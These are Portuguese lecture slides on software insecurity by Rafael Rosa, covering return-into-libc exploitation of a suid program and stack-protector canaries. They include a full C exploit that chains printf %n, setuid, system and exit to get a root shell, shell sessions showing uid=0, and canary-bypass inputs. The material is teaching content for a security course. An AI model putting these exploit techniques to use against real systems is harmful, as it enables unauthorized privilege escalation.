                                                                                           A exploração
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  Dessa vez com o valor de ESP considerando argv[1].


                                                             [rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2
                                                             [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin `
                                                             AAAA�����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � �
                                                             ������L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � �
                                                             ����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � �
                                                             ��L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � �
                                                             L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭
                                                             ������������L 귭� � � � � � � � � � � � L 귭� � � � � � � � //////////////////////////
                                                             //////////////////////////bin/sh
                                                             sh-3.2$ exit
                                                             exit
                                                             [rafael@centos worx]$
Return-into-libc
                                                                                                       O bash
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Na maioria dos sistema atuais /bin/sh é um link
                                                                  simbólico para /bin/bash.

                                                             [rafael@centos worx]# cp /bin/sh /bin/sh.back
                                                             [rafael@centos worx]# rm /bin/sh
                                                             [rafael@centos worx]# ln -s /bin/bash /bin/sh
                                                             [rafael@centos worx]#
Return-into-libc
                                                                                                     O bash
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  Setando o programa como suid root.
                                                             [rafael@centos worx]# chown root return_into_libc_ex3
                                                             [rafael@centos worx]# chmod a+s return_into_libc_ex3
                                                             [rafael@centos worx]# exit
                                                             [rafael@centos worx]$ ./exploit_return_into_libc_ex3 -7 2
                                                             [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin `
                                                             AAAA�����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � �
                                                             ������L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � �
                                                             ����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � �
                                                             ��L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � �
                                                             L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭
                                                             ������������L 귭� � � � � � � � � � � � L 귭� � � � � � � � ///////////////////////////
                                                             /////////////////////////bin/sh
                                                             sh-3.2$ id
                                                             uid=500(rafael) gid=500(rafael) groups=500(rafael),501(vboxusers) context=user_u:system_r:unco
                                                             nfined_t
                                                             sh-3.2$
Return-into-libc
                                                                                      O bash
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                O bash possui um mecanismo de proteção. Retorna um
                                                                 shell de acordo com o uid e não com o euid.

                                                                O euid do programa vulnerável é 0 (root) porém o uid
                                                                 é 500 (rafael).

                                                                Basta então setarmos o uid para 0, através de
                                                                 setuid(0). Isso é possível pois o processo está rodando
                                                                 com permissão de root.
Return-into-libc
                                                                                                     Limitação
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                               vetor de injeção
                                                                0xdefaced...        setuid           system        ?          ptr “/bin/sh”   0xffffffff

                                                                função vulnerável
                                                                      buffer        retaddr            ...         ...             ...           ...

                                                             setuid
                                                             variáveis locais EBP anterior           retaddr      arg1

                                                                               system
                                                                               variáveis locais EBP anterior     retaddr          arg1

                                                                                              exit
                                                                                              variáveis locais EBP anterior     retaddr         arg1
Return-into-libc
                                                                                   Limitação
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Mas como chamar setuid(), system() e exit()?

                                                             É impossível! O argumento para setuid coincidiria com
                                                             o endereço de exit.
Return-into-libc
                                                                                      Código de epílogo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             O código de epílogo nos programas modernos é formado
                                                             por duas instruções: leave e ret.

                                                             A primeira retoma o frame de pilha da função
                                                             chamadora.

                                                             A segunda retorna o fluxo do programa para a instrução
                                                             seguinte à que chamou a função atual.
                                                                 ; instruções executadas por leave
                                                                 mov esp, ebp
                                                                 pop ebp

                                                                 ; instrução executada por ret
                                                                 pop eip
Return-into-libc
                                                                                    Endereço de leave e ret
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Posições de memória onde há uma instrução leave.


                                                             [rafael@centos worx]$ objdump -S return_into_libc_ex3 | grep leave
                                                             804830e:        c9                          leave
                                                             8048421:        c9                          leave
                                                             8048450:        c9                          leave
                                                             8048576:        c9                          leave
                                                             [rafael@centos worx]$
Return-into-libc
                                                                                    Falsificando frames
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                            função vulnerável      buffer      vetor de injeção
                                                                                                EBP anterior                      ebp 1
                                                                                                  retaddr         setuid          ebp setuid
                                                                                                     ...       0x08048450
                                                             ; área de texto
                                                                                                     ...           0x00
                                                             ; código do programa
                                                                                                     ...                          ebp 2
                                                             0x08048450 <func+44>: leave             ...         system           ebp system
                                                             0x08048451 <func+45>: ret               ...       0x08048450
                                                                                                     ...       ptr “/bin/sh”
                                                                                                     ...                          ebp 3
                                                                                                     ...           exit           ebp exit
                                                                                                     ...       0x08048450
                                                                                                     ...         0xffffffff
Return-into-libc
                                                                           Falsificando frames
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              A função vulnerável vai copiar o valor em ebp 1 para o
                                                             ebp, em seguida vai retornar para setuid.

                                                              O código de prólogo então vai criar um frame da função
                                                             e vai sobrescrever o endereço de setuid com o endereço
                                                             do ebp 2. Ao terminar o ebp 2 será restaurado e a função
                                                             retorna para 0x08048450.

                                                              leave vai copiar o valor de ebp 2 para ebp e então
                                                             retorna para system.
Return-into-libc
                                                                                    Limitação
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Se a função vulnerável (caso em questão) trabalhar
                                                                 com manipulação de strings, não se pode injetar um
                                                                 0x00 (NULL), pois isso terminaria a operação com a
                                                                 string e não seria possível injetar mais nenhum byte no
                                                                 buffer.
Return-into-libc
                                                                              Escrevendo na memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                                                               vetor de injeção
                                                                                                   buffer
                                                                            função vulnerável                                     ebp 1
                                                                                                EBP anterior      printf          ebp printf
                                                                                                  retaddr      0x08048450
                                                                                                     ...         ptr “%n”
                                                                                                     ...
                                                                                                     ...                          ebp 2
                                                             ; área de texto
                                                             ; código do programa                    ...          setuid          ebp setuid
                                                                                                     ...       0x08048450
                                                             0x08048450 <func+44>: leave             ...         0xffffffff
                                                                                                     ...                          ebp 3
                                                             0x08048451 <func+45>: ret                                            ebp system
                                                                                                     ...         system
                                                                                                     ...       0x08048450
                                                                                                     ...       ptr “/bin/sh”
                                                                                                     ...                           ebp 4
                                                                                                     ...           exit            ebp exit
                                                                                                     ...       0x08048450
                                                                                                     ...         0xffffffff
Return-into-libc
                                                                          Escrevendo na memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Um frame para printf é criado para poder alterar um
                                                                 endereço de memória através da tag de formato %n.

                                                                Basta passar como argumento de %n o endereço do
                                                                 argumento para setuid, o qual será sobrescrito com
                                                                 0x00000000.
Return-into-libc
                                                                                 Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Para executar esse ataque é necessária a injeção de uma
                                                                 string de formato (“%n”) e de um shell (“/bin/sh”),
                                                                 que precisam ser armazenados em endereços
                                                                 conhecidos.

                                                                É preciso conhecer o endereço do buffer na memória,
                                                                 para poder falsificar os frames de pilha.
Return-into-libc
                                                                                                           Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  Para esse caso, pode-se injetar as strings em variáveis
                                                                   de ambiente.

                                                                  A técnica abaixo é usada para aumentar a chance de
                                                                   acerto.
                                                             [rafael@centos exemplos]$ export SH=///////////////////////////////////////////////////////////////////////////////////////
                                                             ///////////////bin/sh
                                                             [rafael@centos exemplo]$ export STR=%n
                                                             [rafael@centos exemplo]$ export STR=$STR`perl -e 'print “%08p”x100'`
                                                             [rafael@centos exemplo]$ ./get_env SH
                                                             O endereço de SH é 0xbffffd56
                                                             [rafael@centos exemplos]$ ./get_env STR
                                                             O endereço de STR é 0xbffffaa1
Return-into-libc
                                                                                   Código do exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             #define PRINTF          0xb7ebfc10
                                                             #define SETUID          0xb7f13c60
                                                             #define SYSTEM          0xb7eafa90
                                                             #define EXIT            0xb7ea4ce0

                                                             #define LEAVERET        0x08048450

                                                             #define PARGADDR        0xbffffaa1 - 34
                                                             #define SUIDARG         0xffffffff
                                                             #define SARGADDR        0xbffffd56
                                                             #define EARG            0xffffffff

                                                             #define ESP             0xbffff1a4 +20

                                                             int main(int argc, char **argv){
                                                                  FILE *badfile;
                                                                  long *ptr;
                                                                  unsigned int bufaddr;
                                                                  char buffer[336];
Return-into-libc
                                                                               Código do exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             If(argc != 2){
                                                                  fprintf(stderr, "uso: %s <ret> n", argv[0]);
                                                                  return 1;
                                                             }

                                                             bufaddr = ESP + atoi(argv[1]);

                                                             memset(&buffer, 'A', 336);
                                                             ptr = (long*)(buffer+256);

                                                             *ptr++ = bufaddr; //ebp setuid
                                                             *ptr++ = PRINTF; //call printf
                                                             *ptr++ = LEAVERET; //printf retaddr
                                                             *ptr++ = PARGADDR; // "%n"
                                                             *ptr++ = bufaddr+12; //endereço a ser nulificado

                                                             *ptr++ = bufaddr+16; //ebp system
                                                             *ptr++ = SETUID;       //call setuid
                                                             *ptr++ = LEAVERET; //setuid retaddr
                                                             *ptr++ = SUIDARG; //argumento para setuid
Return-into-libc
                                                                                   Código do exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 *ptr++ = bufaddr+32; //ebp exit
                                                                 *ptr++ = SYSTEM;     //call system
                                                                 *ptr++ = LEAVERET; //system retaddr
                                                                 *ptr++ = SARGADDR; // "/bin/bash"

                                                                 *ptr++ = bufaddr+48;   //terminamos aqui
                                                                 *ptr++ = EXIT;         //ebp exit
                                                                 *ptr++ = 0xdefaced;    //system retaddr
                                                                 *ptr++ = EARG;         //argumento para exit

                                                                 buffer[335] = '0';

                                                                 badfile = fopen("./badfile_ex32.bin", "w");
                                                                 fwrite(buffer, 1, 336, badfile);
                                                                 fclose(badfile);
                                                             }
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             Vetor de injeção
                                                                                Return-into-libc
Return-into-libc
                                                                                               Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  O valor de esp tem que ser calculado considerando o
                                                                   vetor de injeção em argv[1].

                                                             [rafael@centos exemplos]$ ./get_esp `cat badfile_ex32.bin `
                                                             ESP: 0xbffff1a4
                                                             [rafael@centos exemplos]$



                                                                  O endereço de ebp 2 é calculado:
                                                                     es p + (276-256) ± offs et
Return-into-libc
                                                                                  Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Usa-se a saída de printf e a de system para localizar
                                                                 exatamente o endereço de SH e STR. Tentativas
                                                                 também são feitas para descobrir o offset.
Return-into-libc
                                                                                                  Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos worx]$ ./exploit_return_into_libc_ex32 -28
                                                             [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex32.bin `
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA�
                                                             ������P������������`<��P�������������P�V����
                                                             ����L����
                                                             sh-3.2# id
                                                             uid=0(root) gid=500(rafael) groups=500(rafael),501(vboxusers) context=user_u:system_r:unconfin
                                                             ed_t
                                                             sh-3.2# exit
                                                             exit
                                                             0xbffff1ac0xb7f13c600x8048450 (nil)0xbffff1bc0xb7eafa900x80484500xbffffd560xbffff1cc0xb7ea
                                                             4ce00xdefaced0xffffffff0x414141410x414141410x414141 (nil)0x80482640xb7fcfff40x80484d00x8
                                                             0483700xbffff2180xab4381790x852c9569 (nil) (nil) (nil)0xb7ff60900xb7e8c5ad0xb7ffeff40x000
                                                             0020x8048370 (nil)0x80483910x80484520x0000020xbffff2440x80484d00x80484c00xb7ff0f500x
                                                             bffff23c0xb7ffbaaa0x0000020xbffff3a70xbffff3be (nil)0xbffff50e0xbffff5300xbffff5430xbffff57a0xbfff
                                                             F58a0xbffff5950xbffff5e50xbffff6200xbffff6320xbffff6460xbffff6520xbffffa7b0xbffffc120xbffffc380xbff
                                                             Ffc680xbffffc990xbffffca90xbffffcf60xbffffd160xbffffd310xbffffda10xbffffdba0xbffffdcb0xbffffde30xbfff
                                                             Fdf80xbffffe130xbffffe2a0xbffffe320xbffffe440xbffffe700xbffffe7f0xbffffebb0xbfffff1d0xbfffff3d0xbfffff4
                                                             a0xbfffff570xbfffff790xbfffff8f0xbfffffa80xbfffffcc (nil)0x0000200xb7ffd4200x0000210xb7ffd0000x00
                                                             00100x78bf3bf0x0000060x0010000x0000110x0000640x0000030x80480340x0000040x000020[raf
                                                             ael@centos worx]$
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
Stack Protector
                                                                                   Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Consiste no posicionamento de um valor (canary) na
                                                                 stack, de modo que quando ocorrer um overflow esse
                                                                 valor seja alterado.

                                                                No retorno da função esse valor é comparado ao valor
                                                                 original, e caso seja diferente o programa termina.
Stack Protector
                                                                                   Código de partida
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             char *func1(char *args[], int *len){
                                                                 char *ptrstr;
                                                                 int i;
                                                                 char buf[256];
                                                                 strcpy(buf, args[0]);
                                                                 i = 1;
                                                                 while(args[i] != NULL){
                                                                        strcat(buf, " ");
                                                                        strcat(buf, args[i]);
                                                                        i++;
                                                                 }
                                                                 *len = strlen(buf);
                                                                 ptrstr = (char*)malloc((*len) + 1);
                                                                 if(ptrstr == NULL){
                                                                        perror("func1");
                                                                        exit(1);
                                                                 }
                                                                 strcpy(ptrstr, buf);
                                                                 return ptrstr;
                                                             }
Stack Protector
                                                                                   Código de partida
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int func(char *args[]){
                                                                   unsigned int len;
                                                                   char *str;

                                                                 str = func1(args, &len);

                                                                 printf("Argumentos concatenados possuem %u bytes:n", len);
                                                                 printf("%sn", str);
                                                             }

                                                             int main(int argc, char *argv[]){

                                                                 if(argc < 2){
                                                                      fprintf(stderr, "uso %s <arg1> <arg2> ... <argn>n", argv[0]);
                                                                      return 1;
                                                                 }

                                                                 func(&argv[1]);
                                                             }
Stack Protector
                                                                                          Retaddr protegido
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 O canary é colocado entre o ebp salvo e o endereço de
                                                                  retorno.

                                                                 Com esse método, o endereço de retorno fica
                                                                  protegido.

                                                             [rafael@centos stack protector]$ gcc -c stack_protector_ex2.s
                                                             [rafael@centos stack protector]$ gcc -o stack_protector_ex2 stack_protector_ex2.o
                                                             [rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x272'`
                                                             stack overflow detectado
                                                             Saindo...
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                                Retaddr protegido
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             func1:
                                                                 ; prólogo
                                                                 pushl     $0xaabbccdd
                                                                 pushl     %ebp                                        buf
                                                                 movl      %esp, %ebp
                                                                                                edi é salvo na
                                                                 pushl     %edi                                       ptrstr
                                                                                                pilha porque é
                                                                 subl      $292, %esp
                                                                                                usado na função.        i
                                                                  ; epílogo                                         edi salvo
                                                                  addl      $292, %esp
                                                                  popl      %edi                                    ebp salvo
                                                                  popl      %ebp                                   $0xaabbccdd
                                                                  popl      %ebx
                                                                  xor       $0xaabbccdd, %ebx                        retaddr
                                                                  je        .stack_ok                                 args
                                                                  call stack_check_fail
                                                             .stack_ok:                                                len
                                                                  ret
Stack Protector
                                                                                                      Problema
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  Variáveis locais do tipo ponteiro ainda podem ser
                                                                   sobrescritas, de modo que se possa ler ou gravar em
                                                                   qualquer lugar na memória.

                                                                  Com isso, pode-se sobrescrever a GOT, dtors, e
                                                                   ponteiros de função.

                                                             [rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x268'`
                                                             Argumentos concatenados possuem 160575496 bytes:
                                                             0�     (3ÿ��
                                                             Segmentation fault
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                              Reordenamento de variáveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Variáveis locais são reordenadas a fim de que buffers
                                                                  fiquem em posições mais altas de memória,
                                                                  impossibilitando que ocorra overflow de outras
                                                                  variáveis.

                                                             [rafael@centos stack protector]$ gcc -c stack_protector_ex3.s
                                                             [rafael@centos stack protector]$ gcc -o stack_protector_ex3 stack_protector_ex3.o
                                                             [rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x264'`
                                                             stack overflow detectado
                                                             saindo...
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                          Reordenamento de variáveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             ; strcpy(buf, args[0]
                                                             movl      12(%ebp), %eax           ptrstr
                                                             movl      (%eax), %eax               i
                                                             movl      %eax, 4(%esp)
                                                             leal      -260(%ebp), %eax
                                                             movl      %eax, (%esp)              buf
                                                             call      strcpy
                                                                                              edi salvo
                                                             ;i=1
                                                                                              ebp salvo
                                                             movl     $1, -264(%ebp)
                                                                                             $0xaabbccdd
                                                             ; if(ptrstr == NULL)
                                                             cmpl        $0, -268(%ebp)        retaddr
                                                                                                args
                                                                                                 len
Stack Protector
                                                                                                      Problema
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  Argumentos do tipo ponteiro não são protegidos, o que
                                                                   gera um brecha para ataques.


                                                             [rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x272'`
                                                             Segmentation fault
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                                      Cópia de argumentos
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Argumentos da função são copiados para o topo da
                                                                  pilha, assim, se os originais forem sobrescritos, o
                                                                  programa não será afetado, pois utiliza uma cópia
                                                                  segura dos mesmos.

                                                             [rafael@centos stack protector]$ gcc -c stack_protector_ex4.s
                                                             [rafael@centos stack protector]$ gcc -o stack_protector_ex4 stack_protector_ex4.o
                                                             [rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x272'`
                                                             stack overflow detectado
                                                             saindo...
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                                Cópia de argumentos
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             ; copiando argumentos        ; malloc((*len)+1)          len
                                                             subl     $300, %esp          movl -276(%ebp), %eax      args
                                                             movl     12(%ebp), %eax      movl (%eax), %eax
                                                             movl     %eax, -272(%ebp)                               ptrstr
                                                                                          addl $1, %eax
                                                             movl     16(%ebp), %eax      movl %eax, (%esp)            i
                                                             movl     %eax, -276(%ebp)    call malloc
                                                                                                                      buf
                                                             ; strcpy(buf, args[0])
                                                             movl      -272(%ebp), %eax
                                                                                                                   edi salvo
                                                             movl      (%eax), %eax
                                                             movl      %eax, 4(%esp)                               ebp salvo
                                                             leal      -260(%ebp), %eax                           $0xaabbccdd
                                                             movl      %eax, (%esp)
                                                             call      strcpy                                       retaddr
                                                                                                                     args
                                                                                                                      len
Stack Protector
                                                                                                      Problema
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  O ebp salvo ainda pode ser sobrescrito possibilitando a
                                                                   falsificação do frame de pilha da função chamadora, de
                                                                   modo que as variáveis e argumentos da mesma possam
                                                                   ser controladas.

                                                                  Não é necessário ganhar o controle de um ponteiro,
                                                                   qualquer variável pode ser usada, basta setarmos o ebp
                                                                   para o endereço da GOT.
                                                             [rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x260'`
                                                             Argumentos concatenados possuem 1094795585 bytes:
                                                             Segmentation fault
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                               Protegendo o frame de pilha
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 O canary é colocado entre as variáeis locais e o ebp
                                                                  salvo de modo a detectar qualquer alteração em seu
                                                                  valor.

                                                             [rafael@centos stack protector]$ gcc -c stack_protector_ex5.s
                                                             [rafael@centos stack protector]$ gcc -o stack_protector_ex5 stack_protector_ex5.o
                                                             [rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x264'`
                                                             stack overflow detectado
                                                             saindo...
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                          Protegendo o frame de pilha
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                                                                      len
                                                             ; prólogo                    ; epílogo
                                                                                          movl -8(%ebp), %ebx        args
                                                             func1:
                                                             pushl %ebp                   xor $0xaabbccdd, %ebx      ptrstr
                                                             movl %esp, %ebp              je     .stack_ok             i
                                                             pushl %edi                   call stack_check_fail
                                                             subl $304, %esp              .stack_ok:
                                                             movl 8(%ebp), %eax           addl $304, %esp             buf
                                                             movl %eax, -276(%ebp)        popl %edi
                                                             movl 12(%ebp), %eax          popl %ebp               $0xaabbccdd
                                                             movl %eax, -280(%ebp)        ret                      edi salvo
                                                             movl $0xaabbccdd, -8(%ebp)
                                                                                                                   ebp salvo
                                                                                                                    retaddr
                                                                                                                     args
                                                                                                                      len
Stack Protector
                                                                                                      Problema
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  Como o canary é um valor conhecido, pode-se passar
                                                                   um vetor de injeção fazendo com que o valor do
                                                                   canary fique intacto.

                                                                  Com isso, o teste de validação da integridade da stack
                                                                   não vai detectar o overflow, e o payload, pode então,
                                                                   ganhar o controle do eip.
                                                             [rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x256 . “xddxccxbbxaa” .
                                                             “A”x8' `
                                                             Illegal instruction
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                                Estado da arte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Estudos desenvolvidos em torno das técnicas de ataque
                                                                 levaram à criação de um mecanismo difícil de ser
                                                                 contornado.

                                                                Conta com proteção do endereço de retorno, proteção
                                                                 das variáveis locais, proteção dos argumentos, e
                                                                 proteção do ebp salvo.

                                                                O canary é randomizado de modo que não seja
                                                                 facilmente predizível.
Stack Protector
                                                                                     Estado da arte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             void func(char *str){
                                                                  char buf[8];                  int main(int argc, char *argv[]){
                                                                  int a, b;
                                                                  char buf2[8];                     if(argc != 2){
                                                                  long c;                                 fprintf(stderr, "uso %s <param>n"
                                                                                                                                      , argv[0]);
                                                                 printf("str = %pn", &str);              return 1;
                                                                 printf("buf = %pn", buf);         }
                                                                 printf("a = %pn", &a);
                                                                 printf("b = %pn", &b);            func(argv[1]);
                                                                 printf("buf2 = %pn", buf2);
                                                                 printf("c = %pn", &c);            printf("fimn");
                                                                                                }
                                                                 strcpy(buf, str);
                                                             }
Stack Protector
                                                                                      Proteção desabilitada
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos stack protector]$ gcc -o stack_protector_ex61 stack_protector_ex6.c
                                                             [rafael@centos stack protector]$ ./stack_protector_ex61 AAAABBBBCCCCDDDD
                                                             str = 0xbfffe7f0
                                                             buf = 0xbfffe7e0
                                                             a = 0xbfffe7dc
                                                             b = 0xbfffe7d8
                                                             buf2 = 0xbfffe7d0
                                                             c = 0xbfffe7cc
                                                             Segmentation fault
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                                         Proteção habilitada
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex62 stack_protector_ex
                                                             6.c
                                                             [rafael@centos stack protector]$ ./stack_protector_ex62 AAAABBBBCCCCDDDD
                                                             str = 0xbfffe7c4
                                                             buf = 0xbfffe7dc
                                                             a = 0xbfffe7d0
                                                             b = 0xbfffe7cc
                                                             buf2 = 0xbfffe7d4
                                                             c = 0xbfffe7c8
                                                             *** stack smashing detected ***: ./stack_protector_ex62 terminated
                                                             Aborted
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                                       A proteção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                                                               stack protector ativado
                                                                 Valor é comparado ao original no retorno da função e
                                                             ; prólogo
                                                             push %ebp
                                                             movcaso sejam diferentes ostack protectoré detectado e o str
                                                                   %esp,%ebp                  overflow desativado
                                                             sub programa termina.
                                                                   $0x38,%esp                                                c
                                                             mov 0x8(%ebp),%eax                          c                   b
                                                             mov %eax,-0x24(%ebp)                                            a
                                                             mov %gs:0x14,%eax                         buf2
                                                             mov %eax,-0x4(%ebp)
                                                                                                                           buf2
                                                                                                         b
                                                             ;epílogo
                                                                                                         a                  buf
                                                             mov       -0x4(%ebp),%eax
                                                             xor       %gs:0x14,%eax                   buf
                                                             je        0x8048530 <func+172>                               canary
                                                             call 0x804838c <__stack_chk_fail@plt>     ebp                 ebp
                                                             leave                                   retaddr             retaddr
                                                             ret                                        str                 str
Stack Protector
                                                                                    Problema
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Atrapalha no desempenho do programa.

                                                                Proteção aplicada somente à arrays de char.

                                                                Array de char deve possuir no mínimo 8 bytes para
                                                                 que a proteção seja aplicada.

                                                                Array de char deve possuir no mínimo 8 bytes para
                                                                 que seja reordenado.

                                                                Variáveis de structs não são reordenadas.
Stack Protector
                                                                                        Arrays de não-chars
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                void func(char *str){                                printf("b = %pn", &b);
                                                                     int buf[8];                                     printf("buf2 = %pn", buf2);
                                                                     int a, b;                                       printf("c = %pn", &c);
                                                                     int buf2[8];                              }
                                                                     long c;
                                                                                                               int main(int argc, char *argv[]){
                                                                      printf("str = %pn", &str);                   func(argv[1]);
                                                                      printf("buf = %pn", buf);                    printf("fimn");
                                                                      printf("a = %pn", &a);                  }


                                                             [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex7 stack_protector_ex7.c
                                                             [rafael@centos stack protector]$ ./stack_protector_ex7
                                                             str = 0xbfffe810
                                                             buf = 0xbfffe7dc
                                                             a = 0xbfffe804
                                                             b = 0xbfffe800
                                                             buf2 = 0xbfffe7bc
                                                             c = 0xbfffe7fc
                                                             fim
                                                             [rafael@centos stack protector]$
Stack Protector
                                                                        Arrays de não-chars
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                                     buf2
                                                             ; prólogo
                                                             push %ebp
                                                                                     buf
                                                             mov %esp,%ebp
                                                             sub $0x58,%esp
                                                                                       c
                                                             ;epílogo                  b
                                                             leave                     a
                                                             ret
                                                                                      ebp
                                                                                    retaddr
                                                                                      str
Stack Protector
                                                                        Arrays com menos de 8 elementos
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                void func(char *str){                                printf("b = %pn", &b);
                                                                     char buf[7];                                    printf("buf2 = %pn", buf2);
                                                                     int a, b;                                       printf("c = %pn", &c);
                                                                     char buf2[7];                             }
                                                                     long c;
                                                                                                               int main(int argc, char *argv[]){
                                                                      printf("str = %pn", &str);                   func(argv[1]);
                                                                      printf("buf = %pn", buf);                    printf("fimn");
                                                                      printf("a = %pn", &a);                  }


                                                             [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex8 stack_protector_ex8.c
                                                             [rafael@centos stack protector]$ ./stack_protector_ex8
                                                             str = 0xbfffe810
                                                             buf = 0xbfffe7f5
                                                             a = 0xbfffe804
                                                             b = 0xbfffe800
                                                             buf2 = 0xbfffe7ee
                                                             c = 0xbfffe7fc
                                                             fim
                                                             [rafael@centos stack protector]$
Stack Protector
                                                             Arrays com menos de 8 elementos
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                                   buf2
                                                              ; prólogo
                                                              push %ebp
                                                                                   buf
                                                              mov %esp,%ebp
                                                              sub $0x28,%esp
                                                                                     c
                                                              ;epílogo               b
                                                              leave                  a
                                                              ret
                                                                                    ebp
                                                                                  retaddr
                                                                                    str
Stack Protector
                                                                               Não reodenamento de arrays
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                void func(char *str){                                printf("b = %pn", &b);
                                                                     char buf[7];                                    printf("buf2 = %pn", buf2);
                                                                     int a, b;                                       printf("c = %pn", &c);
                                                                     char buf2[8];                             }
                                                                     long c;
                                                                                                               int main(int argc, char *argv[]){
                                                                      printf("str = %pn", &str);                   func(argv[1]);
                                                                      printf("buf = %pn", buf);                    printf("fimn");
                                                                      printf("a = %pn", &a);                  }


